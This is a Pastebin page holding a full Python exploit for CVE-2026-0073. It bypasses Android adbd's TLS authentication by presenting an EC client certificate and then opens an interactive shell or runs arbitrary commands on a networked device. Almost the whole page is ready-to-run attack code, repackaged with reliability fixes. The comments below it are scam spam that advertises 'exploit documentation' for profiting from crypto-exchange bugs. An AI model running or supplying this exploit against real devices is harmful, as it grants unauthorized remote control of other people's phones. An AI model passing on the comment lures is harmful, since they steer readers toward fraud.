Ivam3

xoloit_CVE-2026-0073.py

May 16th, 2026
362
0
Never
5
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 18.92 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2. """
  3. CVE-2026-0073 — Android adbd EVP_PKEY_cmp TLS authentication bypass
  4.  
  5. adbd_tls_verify_cert() in daemon/auth.cpp uses EVP_PKEY_cmp() as a
  6. boolean. When the stored key is RSA and the presented TLS client cert carries a
  7. non-RSA key (EC P-256 or Ed25519), EVP_PKEY_cmp() returns -1 (type mismatch),
  8. which is truthy in C/C++, so authorized = true.
  9.  
  10.  1. TCP connect to adbd port
  11.  2. Send cleartext ADB CNXN; receive STLS from device
  12.  3. Reply STLS; upgrade TCP to TLS 1.3 with ephemeral EC P-256 client cert
  13.  4. Post-TLS: drain device CNXN (and optional STLS notification) — do NOT send host CNXN
  14.     (adbd_wifi_secure_connect already marks the transport online; a host CNXN would
  15.     trigger handle_new_connection on an already-online transport, kicking it immediately)
  16.  5. OPEN(local_id, INITIAL_DELAYED_ACK_BYTES=32MB, "shell:\\x00") → OKAY → WRTE/OKAY shell
  17.  
  18. Requirements:
  19.  - Developer options enabled on target
  20.  - Wireless debugging or ADB-over-TCP enabled (default port 5555)
  21.  - At least one RSA key in /data/misc/adb/adb_keys (device has been paired before)
  22.  - Network reachability to the adbd TCP port
  23.  
  24. Usage:
  25.  python3 xploit_CVE-2026-0073.py <host> [port] [--cmd <command>]
  26.  
  27.  Default port: 5555
  28.  Default cmd:  interactive shell (stdin/stdout forwarded)
  29.  
  30.  
  31. Tested on 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
  32.  
  33. Examples:
  34.  python3 adb_tls_auth_bypass.py 192.168.1.42
  35.  python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id; getprop ro.build.version.release"
  36. __________________________________________________
  37. SCRIPT ORIGINAL: https://github.com/SecTestAnnaQuinn/CVE-2026-0073-Android-adbd-authentication-bypass-POC
  38.  
  39. Patches & Improvements:
  40. **DATE: May 16 2026
  41. **AUTHOR: Ivam3
  42.  
  43.  - Dynamic Feature Detection: Parses ADB features from the device banner to adjust protocol behavior.
  44.  - Smart Window Management: Conditionally enables 'delayed_ack' window size (32MB) only if supported by the device, preventing hangs on Android 11+ builds.
  45.  - Robust Shell Opening: Implements fallback payloads (shell:\x00 and shell:) and retry logic for better compatibility across different Android versions.
  46.  - Timeout Reliability: Added strict timeouts to ADB packet reception and command output collection to prevent indefinite execution hangs.
  47.  - Modern Python Compatibility: Updated deprecated datetime calls to be timezone-aware (UTC).
  48. """
  49.  
  50.  
  51. import argparse
  52. import io
  53. import os
  54. import socket
  55. import ssl
  56. import struct
  57. import sys
  58. import tempfile
  59. import textwrap
  60. import threading
  61. import time
  62.  
  63. from cryptography import x509
  64. from cryptography.hazmat.primitives import hashes, serialization
  65. from cryptography.hazmat.primitives.asymmetric import ec
  66. from cryptography.x509.oid import NameOID
  67. import datetime
  68.  
  69.  
  70. # ---------------------------------------------------------------------------
  71. # ADB wire protocol constants
  72. # ---------------------------------------------------------------------------
  73.  
  74. ADB_VERSION    = 0x01000001
  75. ADB_MAXDATA    = 256 * 1024
  76. ADB_BANNER     = b"host::features=shell_v2,cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,fixed_push_symlink_timestamp,abb_exec,remount_shell,track_app,sendrecv_v2,sendrecv_v2_brotli,sendrecv_v2_lz4,sendrecv_v2_zstd,sendrecv_v2_dry_run_send,openscreen_mdns,delayed_ack"
  77.  
  78. # adbd delayed_ack initial receive window (INITIAL_DELAYED_ACK_BYTES from adb.h)
  79. DELAYED_ACK_WINDOW = 32 * 1024 * 1024  # 0x2000000
  80.  
  81. CMD_CNXN = 0x4e584e43
  82. CMD_STLS = 0x534c5453
  83. CMD_AUTH = 0x41555448
  84. CMD_OPEN = 0x4e45504f
  85. CMD_OKAY = 0x59414b4f
  86. CMD_WRTE = 0x45545257
  87. CMD_CLSE = 0x45534c43
  88.  
  89. STLS_VERSION = 0x01000000
  90.  
  91.  
  92. # ---------------------------------------------------------------------------
  93. # ADB packet framing
  94. # ---------------------------------------------------------------------------
  95.  
  96. def _checksum(data: bytes) -> int:
  97.     return sum(data) & 0xFFFFFFFF
  98.  
  99.  
  100. def pack_packet(cmd: int, arg0: int, arg1: int, data: bytes = b"") -> bytes:
  101.     length = len(data)
  102.     csum   = _checksum(data)
  103.     magic  = cmd ^ 0xFFFFFFFF
  104.     header = struct.pack("<IIIIII", cmd, arg0, arg1, length, csum, magic)
  105.     return header + data
  106.  
  107.  
  108. def unpack_header(raw: bytes):
  109.     cmd, arg0, arg1, length, csum, magic = struct.unpack("<IIIIII", raw)
  110.     return cmd, arg0, arg1, length, csum, magic
  111.  
  112.  
  113. def recv_packet(sock):
  114.     """Read one ADB packet from sock. Returns (cmd, arg0, arg1, data)."""
  115.     header = _recv_exact(sock, 24)
  116.     cmd, arg0, arg1, length, csum, magic = unpack_header(header)
  117.     data = _recv_exact(sock, length) if length else b""
  118.     return cmd, arg0, arg1, data
  119.  
  120.  
  121. def _recv_exact(sock, n: int) -> bytes:
  122.     buf = b""
  123.     while len(buf) < n:
  124.         chunk = sock.recv(n - len(buf))
  125.         if not chunk:
  126.             raise ConnectionError(f"connection closed after {len(buf)}/{n} bytes")
  127.         buf += chunk
  128.     return buf
  129.  
  130.  
  131. # ---------------------------------------------------------------------------
  132. # Ephemeral cross-algorithm TLS client certificate (EC P-256)
  133. # ---------------------------------------------------------------------------
  134.  
  135. def make_ec_client_cert() -> tuple[bytes, bytes]:
  136.     """
  137.    Generate a throw-away EC P-256 key + self-signed cert.
  138.    The cert key type is intentionally EC, not RSA, to trigger the
  139.    cross-algorithm EVP_PKEY_cmp() return value of -1.
  140.    Returns (cert_pem, key_pem).
  141.    """
  142.     key = ec.generate_private_key(ec.SECP256R1())
  143.     subject = issuer = x509.Name([
  144.         x509.NameAttribute(NameOID.COMMON_NAME, u"adbkey"),
  145.     ])
  146.     cert = (
  147.         x509.CertificateBuilder()
  148.         .subject_name(subject)
  149.         .issuer_name(issuer)
  150.         .public_key(key.public_key())
  151.         .serial_number(x509.random_serial_number())
  152.         .not_valid_before(datetime.datetime.now(datetime.timezone.utc))
  153.         .not_valid_after(datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1))
  154.         .sign(key, hashes.SHA256())
  155.     )
  156.     cert_pem = cert.public_bytes(serialization.Encoding.PEM)
  157.     key_pem  = key.private_bytes(
  158.         serialization.Encoding.PEM,
  159.         serialization.PrivateFormat.TraditionalOpenSSL,
  160.         serialization.NoEncryption(),
  161.     )
  162.     return cert_pem, key_pem
  163.  
  164.  
  165. # ---------------------------------------------------------------------------
  166. # Core exploit
  167. # ---------------------------------------------------------------------------
  168.  
  169. class ADBBypass:
  170.     def __init__(self, host: str, port: int, verbose: bool = False):
  171.         self.host    = host
  172.         self.port    = port
  173.         self.verbose = verbose
  174.         self.sock    = None          # raw TCP socket (cleartext phase)
  175.         self.tls     = None          # TLS-wrapped socket (post-upgrade)
  176.         self._local_id  = 1
  177.         self._remote_id = None
  178.         self.features   = []
  179.  
  180.     def _log(self, msg: str):
  181.         if self.verbose:
  182.             print(f"[*] {msg}", file=sys.stderr)
  183.  
  184.     def _send(self, sock, data: bytes):
  185.         sock.sendall(data)
  186.  
  187.     # --- Phase 1: cleartext ADB CNXN → STLS negotiation -------------------
  188.  
  189.     def connect(self):
  190.         self._log(f"connecting to {self.host}:{self.port}")
  191.         self.sock = socket.create_connection((self.host, self.port), timeout=10)
  192.  
  193.         # Send CNXN
  194.         cnxn = pack_packet(CMD_CNXN, ADB_VERSION, ADB_MAXDATA, ADB_BANNER)
  195.         self._log("sending CNXN")
  196.         self._send(self.sock, cnxn)
  197.  
  198.         # Expect STLS back — device may send CNXN first on some builds, tolerate it
  199.         for _ in range(3):
  200.             cmd, arg0, arg1, data = recv_packet(self.sock)
  201.             self._log(f"  <- {cmd:#010x} arg0={arg0:#x} arg1={arg1:#x} data={data[:64]!r}")
  202.             if cmd == CMD_STLS:
  203.                 stls_version = arg0
  204.                 self._log(f"received STLS version={stls_version:#x}")
  205.                 break
  206.             elif cmd == CMD_AUTH:
  207.                 # Device sent AUTH instead of STLS — not the wireless-debugging path
  208.                 raise RuntimeError(
  209.                     "Device responded with AUTH instead of STLS. "
  210.                     "Target is not using the STLS/TLS wireless-debugging path "
  211.                     "(may be legacy ADB TCP, or auth_required=false)."
  212.                 )
  213.             elif cmd == CMD_CNXN:
  214.                 self._log("received pre-STLS CNXN, waiting for STLS...")
  215.                 continue
  216.             else:
  217.                 raise RuntimeError(f"unexpected command {cmd:#010x} during CNXN negotiation")
  218.         else:
  219.             raise RuntimeError("did not receive STLS from device")
  220.  
  221.         # Reply STLS
  222.         self._log("sending STLS reply")
  223.         self._send(self.sock, pack_packet(CMD_STLS, stls_version, 0))
  224.  
  225.     # --- Phase 2: TLS upgrade with cross-algorithm client cert -------------
  226.  
  227.     def upgrade_tls(self, cert_pem: bytes, key_pem: bytes):
  228.         """Wrap the existing TCP socket in TLS 1.3 with the EC client cert."""
  229.         self._log("upgrading to TLS 1.3 with EC P-256 client certificate")
  230.  
  231.         # Write cert/key to temp files (ssl module needs file paths)
  232.         with tempfile.NamedTemporaryFile(delete=False, suffix=".pem") as cf:
  233.             cf.write(cert_pem)
  234.             cert_path = cf.name
  235.         with tempfile.NamedTemporaryFile(delete=False, suffix=".pem") as kf:
  236.             kf.write(key_pem)
  237.             key_path = kf.name
  238.  
  239.         try:
  240.             ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
  241.             ctx.check_hostname           = False
  242.             ctx.verify_mode              = ssl.CERT_NONE   # we don't validate server cert
  243.             ctx.minimum_version          = ssl.TLSVersion.TLSv1_3
  244.             ctx.maximum_version          = ssl.TLSVersion.TLSv1_3
  245.             ctx.load_cert_chain(certfile=cert_path, keyfile=key_path)
  246.  
  247.             self.tls = ctx.wrap_socket(self.sock, server_hostname=self.host)
  248.             self._log(f"TLS handshake complete: {self.tls.version()}, cipher={self.tls.cipher()}")
  249.         finally:
  250.             os.unlink(cert_path)
  251.             os.unlink(key_path)
  252.  
  253.     # --- Phase 3: post-TLS ADB service layer -------------------------------
  254.  
  255.     def post_tls_cnxn(self):
  256.         """Drain post-TLS device packets (CNXN + optional STLS).
  257.  
  258.        The adbwifi path: adbd_wifi_secure_connect() calls handle_online(t) and
  259.        send_connect(t) which sends the device CNXN. The transport is already
  260.        online at this point. We must NOT send a host CNXN — doing so calls
  261.        handle_new_connection() on an already-online transport which kicks it.
  262.        """
  263.         for _ in range(6):
  264.             cmd, arg0, arg1, data = recv_packet(self.tls)
  265.             self._log(f"  <- {cmd:#010x} arg0={arg0:#x} data={data[:64]!r}")
  266.             if cmd == CMD_CNXN:
  267.                 banner = data.decode(errors='replace')
  268.                 self._log(f"device CNXN: {banner}")
  269.                 # Parse features if present
  270.                 if "features=" in banner:
  271.                     feat_str = banner.split("features=")[1].split(";")[0]
  272.                     self.features = feat_str.split(",")
  273.                     self._log(f"detected features: {self.features}")
  274.                 break
  275.             elif cmd == CMD_STLS:
  276.                 self._log(f"post-TLS STLS notification (version={arg0:#x}), ignoring")
  277.                 continue
  278.             else:
  279.                 raise RuntimeError(f"expected CNXN/STLS inside TLS, got {cmd:#010x}")
  280.         else:
  281.             raise RuntimeError("did not receive post-TLS CNXN from device")
  282.         # Drain the trailing STLS notification if present
  283.         self._recv_skip_stls_drain()
  284.  
  285.     def _recv_skip_stls_drain(self):
  286.         """Non-blocking drain of any buffered STLS notifications (max 0.3s)."""
  287.         deadline = time.monotonic() + 0.3
  288.         while time.monotonic() < deadline:
  289.             try:
  290.                 self.tls.settimeout(0.05)
  291.                 cmd, arg0, arg1, data = recv_packet(self.tls)
  292.                 if cmd != CMD_STLS:
  293.                     # Unexpected non-STLS — log and ignore, don't block
  294.                     self._log(f"  unexpected post-drain packet {cmd:#010x}, ignoring")
  295.             except (socket.timeout, OSError):
  296.                 break
  297.             finally:
  298.                 self.tls.settimeout(None)
  299.  
  300.     def _recv_skip_stls(self):
  301.         """Receive next packet, silently ignoring any STLS notifications."""
  302.         for _ in range(8):
  303.             cmd, arg0, arg1, data = recv_packet(self.tls)
  304.             if cmd != CMD_STLS:
  305.                 return cmd, arg0, arg1, data
  306.             self._log(f"  STLS notification, ignoring")
  307.         raise RuntimeError("too many STLS frames")
  308.  
  309.     def open_shell(self) -> int:
  310.         """Send OPEN shell with dynamic delayed_ack window. Returns remote_id on OKAY."""
  311.         window = DELAYED_ACK_WINDOW if "delayed_ack" in self.features else 0
  312.  
  313.         # Try primary payload
  314.         payloads = [b"shell:\x00", b"shell:"]
  315.  
  316.         for payload in payloads:
  317.             self._log(f"sending OPEN local_id={self._local_id} window={window:#x} payload={payload!r}")
  318.             self._send(self.tls, pack_packet(CMD_OPEN, self._local_id, window, payload))
  319.  
  320.             try:
  321.                 self.tls.settimeout(2.0)
  322.                 cmd, arg0, arg1, data = self._recv_skip_stls()
  323.                 self._log(f"  <- {cmd:#010x} arg0={arg0:#x} arg1={arg1:#x}")
  324.                 if cmd == CMD_OKAY:
  325.                     self._remote_id = arg0
  326.                     self._log(f"shell stream opened: local={self._local_id} remote={self._remote_id}")
  327.                     self._send_okay()
  328.                     return self._remote_id
  329.                 elif cmd == CMD_CLSE:
  330.                     self._log("  OPEN rejected with CLSE, trying fallback...")
  331.                     continue
  332.                 else:
  333.                     self._log(f"  unexpected response: {cmd:#010x}")
  334.             except (socket.timeout, OSError):
  335.                 self._log("  timeout waiting for OKAY, trying fallback...")
  336.             finally:
  337.                 self.tls.settimeout(None)
  338.  
  339.         raise RuntimeError("failed to open shell after all attempts")
  340.  
  341.     def _send_okay(self):
  342.         self._send(self.tls, pack_packet(CMD_OKAY, self._local_id, self._remote_id))
  343.  
  344.     def run_command(self, cmd_str: str) -> str:
  345.         """Run a single command, collect all output, return as string."""
  346.         payload = f"shell:{cmd_str}\x00".encode()
  347.         window = DELAYED_ACK_WINDOW if "delayed_ack" in self.features else 0
  348.         self._log(f"OPEN for command: {cmd_str!r} window={window:#x}")
  349.         self._send(self.tls, pack_packet(CMD_OPEN, self._local_id, window, payload))
  350.  
  351.         try:
  352.             self.tls.settimeout(3.0)
  353.             cmd_r, arg0, arg1, data = self._recv_skip_stls()
  354.             if cmd_r != CMD_OKAY:
  355.                 raise RuntimeError(f"OPEN for command rejected: {cmd_r:#010x}")
  356.             remote = arg0
  357.             self._send(self.tls, pack_packet(CMD_OKAY, self._local_id, remote))
  358.  
  359.             output = io.BytesIO()
  360.             while True:
  361.                 try:
  362.                     cmd_r, arg0, arg1, data = recv_packet(self.tls)
  363.                     if cmd_r == CMD_WRTE:
  364.                         output.write(data)
  365.                         self._send(self.tls, pack_packet(CMD_OKAY, self._local_id, remote))
  366.                     elif cmd_r == CMD_CLSE:
  367.                         break
  368.                     elif cmd_r == CMD_OKAY:
  369.                         continue
  370.                     else:
  371.                         break
  372.                 except (socket.timeout, OSError):
  373.                     self._log("timeout during command output, stopping.")
  374.                     break
  375.             return output.getvalue().decode(errors="replace")
  376.         finally:
  377.             self.tls.settimeout(None)
  378.  
  379.     def interactive_shell(self):
  380.         """Forward stdin/stdout to the open ADB shell stream."""
  381.         print("[+] interactive shell — Ctrl+C to exit", file=sys.stderr)
  382.  
  383.         stop = threading.Event()
  384.  
  385.         def reader():
  386.             while not stop.is_set():
  387.                 cmd_r, arg0, arg1, data = recv_packet(self.tls)
  388.                 if cmd_r == CMD_WRTE:
  389.                     sys.stdout.buffer.write(data)
  390.                     sys.stdout.buffer.flush()
  391.                     self._send_okay()
  392.                 elif cmd_r == CMD_CLSE:
  393.                     stop.set()
  394.                     break
  395.                 elif cmd_r == CMD_OKAY:
  396.                     continue
  397.  
  398.         def writer():
  399.             # select() on Windows only works on sockets, not stdin — use a blocking
  400.             # read thread instead; the daemon flag ensures it exits when reader ends.
  401.             while not stop.is_set():
  402.                 try:
  403.                     data = sys.stdin.buffer.read1(4096)
  404.                 except (OSError, ValueError):
  405.                     break
  406.                 if data:
  407.                     self._send(self.tls, pack_packet(CMD_WRTE, self._local_id, self._remote_id, data))
  408.  
  409.         t_read  = threading.Thread(target=reader, daemon=True)
  410.         t_write = threading.Thread(target=writer, daemon=True)
  411.         t_read.start()
  412.         t_write.start()
  413.         try:
  414.             while t_read.is_alive():
  415.                 t_read.join(timeout=0.2)
  416.         except KeyboardInterrupt:
  417.             pass
  418.         finally:
  419.             stop.set()
  420.  
  421.     def close(self):
  422.         try:
  423.             if self.tls:
  424.                 self.tls.close()
  425.             elif self.sock:
  426.                 self.sock.close()
  427.         except Exception:
  428.             pass
  429.  
  430.  
  431. # ---------------------------------------------------------------------------
  432. # Entry point
  433. # ---------------------------------------------------------------------------
  434.  
  435. def main():
  436.     parser = argparse.ArgumentParser(
  437.         description="CVE-2026-0073 — ADB EVP_PKEY_cmp TLS auth bypass",
  438.         formatter_class=argparse.RawDescriptionHelpFormatter,
  439.         epilog=textwrap.dedent("""\
  440.            Examples:
  441.              %(prog)s 192.168.1.42
  442.              %(prog)s 192.168.1.42 5555 --cmd "id"
  443.              %(prog)s 192.168.1.42 5555 --cmd "getprop ro.build.version.security_patch"
  444.        """),
  445.     )
  446.     parser.add_argument("host",          help="target device IP or hostname")
  447.     parser.add_argument("port", nargs="?", type=int, default=5555, help="ADB port (default 5555)")
  448.     parser.add_argument("--cmd",         help="shell command to run (default: interactive shell)")
  449.     parser.add_argument("-v", "--verbose", action="store_true")
  450.     args = parser.parse_args()
  451.  
  452.     cert_pem, key_pem = make_ec_client_cert()
  453.  
  454.     bypass = ADBBypass(args.host, args.port, verbose=args.verbose)
  455.     try:
  456.         bypass.connect()
  457.         bypass.upgrade_tls(cert_pem, key_pem)
  458.         bypass.post_tls_cnxn()
  459.  
  460.         if args.cmd:
  461.             output = bypass.run_command(args.cmd)
  462.             print(output, end="")
  463.         else:
  464.             bypass.open_shell()
  465.             bypass.interactive_shell()
  466.     except KeyboardInterrupt:
  467.         pass
  468.     except Exception as e:
  469.         print(f"[-] {e}", file=sys.stderr)
  470.         sys.exit(1)
  471.     finally:
  472.         bypass.close()
  473.  
  474.  
  475. if __name__ == "__main__":
  476.     main()
  477.  
Tags: Exploit CVE ADB RCE
Advertisement
Comments
  • User was banned
  • User was banned
  • Mekmixor
    126 days
    # CSS 0.84 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1ifNm-s74mX7GChaEzSJ1dVQCy1SrSxlMVRYi8ys0rgQ/edit?usp=sharing
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).
  • User was banned
  • Vadaduq
    4 days
    # CSS 0.45 KB | 0 0
    1. ⭐ Changelly Profit Exploit Documentation ⭐
    2.  
    3. https://docs.google.com/document/d/1MzFoZVdCI0pv3Bkf4dAe-WjfaXKLNbI90hzSGKBqn9M/edit?usp=vnnrjhslzb
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader.
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
Add Comment
Please, Sign In to add comment